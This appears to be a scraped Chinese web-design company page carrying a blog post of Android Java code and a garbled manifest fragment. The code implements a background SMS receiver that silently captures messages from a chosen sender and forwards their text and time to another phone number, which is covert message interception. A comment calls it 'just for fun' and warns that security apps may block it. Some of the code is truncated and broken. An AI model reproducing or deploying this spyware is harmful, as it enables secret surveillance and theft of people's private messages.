重庆分公司,新征程启航
为企业提供网站建设、域名注册、服务器等服务
废话不多直接上代码:
成都创新互联主要从事成都网站制作、做网站、外贸营销网站建设、网页设计、企业做网站、公司建网站等业务。立足成都服务曲周,10年网站建设经验,价格优惠、服务专业,欢迎来电咨询建站服务:028-86922220
package com.qiao.service;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
/**
* 注 纯属娱乐,请勿瞎搞,另手机装有卫士之类的软件会发生拦截
* @author Administrator
*
*/
public class MySmsService extends BroadcastReceiver{
@Override
public void onReceive(Context context, Intent intent) {
//获取短信实体内容
Object [] pdus = (Object[]) intent.getExtras().get("pdus");
//迭代短信内容
for (Object pdu :pdus) {
//对短信各部分进行组成
SmsMessage message= SmsMessage.createFromPdu((byte[]) pdu);
//获得短信发送者
String sender = message.getOriginatingAddress();
//获得短信内容
String content =message.getMessageBody();
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH:mm:ss");
String time =dateFormat.format(date);
//处理所监听到的短信
sendSMS(sender,content,time);
}
}
private void sendSMS(String sender, String content, String time) {
if ("这里填写手机号-->发信息的人".equals(sender)) {
SmsManager manager = SmsManager.getDefault();
ArrayList
for (String text : texts) {
manager.sendTextMessage("这里填写监听后需要发送给谁-->手机号", null, "time + " + time
+ " " + text, null, null);
}
}
}
}
以下是mainfest里边权限之类的:
android:versionCode="1"
android:versionName="1.0" >
android:targetSdkVersion="19" />
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
android:label="@string/app_name" >